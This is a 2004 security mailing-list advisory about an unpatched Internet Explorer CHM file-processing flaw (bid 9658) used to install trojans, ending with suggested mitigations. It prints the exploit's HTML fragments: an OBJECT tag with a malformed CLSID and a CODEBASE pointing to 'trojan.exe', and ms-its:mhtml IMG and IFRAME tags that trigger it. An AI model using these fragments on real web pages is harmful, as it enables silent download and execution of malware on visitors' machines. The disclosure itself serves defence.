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Date: 19 Feb 2004 01:02:45 -0000
From: K-OTiK Security <>
Subject: Microsoft Internet Explorer Unspecified CHM File Processing
    Arbitrary Code Execution Vulnerability (bid 9658)


Thor Larholm reported a new unpatched and critical IE vuln wich is exploited as an infection vector for malicious codes and trojans (bid 9658)...

here are some details regarding this bug, from Berman Enconado of TrendMicro - (more details will be released by Thor)

The exploit allows executable files to be downloaded and run in the background without user intervention. It employs a malformed CLSID parameter, which enables it to execute a file on the infected user's machine. When an infected user visits a Web site, it can cause a possible malicious executable file to run on the system without user permission. 

The exploit works by tagging another script, which contains a CLASSID exploit as a CHM. The following is an illustration of how this exploit works: 

The file, LAUNCH.HTML, contains the following codes, which utilizes the exploit: 

&lt;OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111123' CODEBASE='trojan.exe'>

To execute the script (LAUNCH.HTML) as a CHM, another script tags and calls LAUNCH.HTML using the following: 

<IMG SRC='ms-its:mhtml:file://C:\ss.MHT!'><IMG SRC='ms-its:mhtml:file://C:\ss.MHT!'><IMG SRC='ms-its:mhtml:file://C:\ss.MHT!'><IFRAME SRC='redirgen.php?url=URL:ms-its:mhtml:file://C:\ss.MHT!'>

Solutions : 
1)disable the execution of CHM files ? (Windows Explorer/Tools/Folder Options/File Types/CHM ..)
2)rename registry entry ? HKEY_CLASSES_ROOT\PROTOCOLS\Handler\ms-its
3)use another product ? :-/
4)wait for a patch ? (how long ?)

Isabelle - Security Engineer
K-OTik Security Staff

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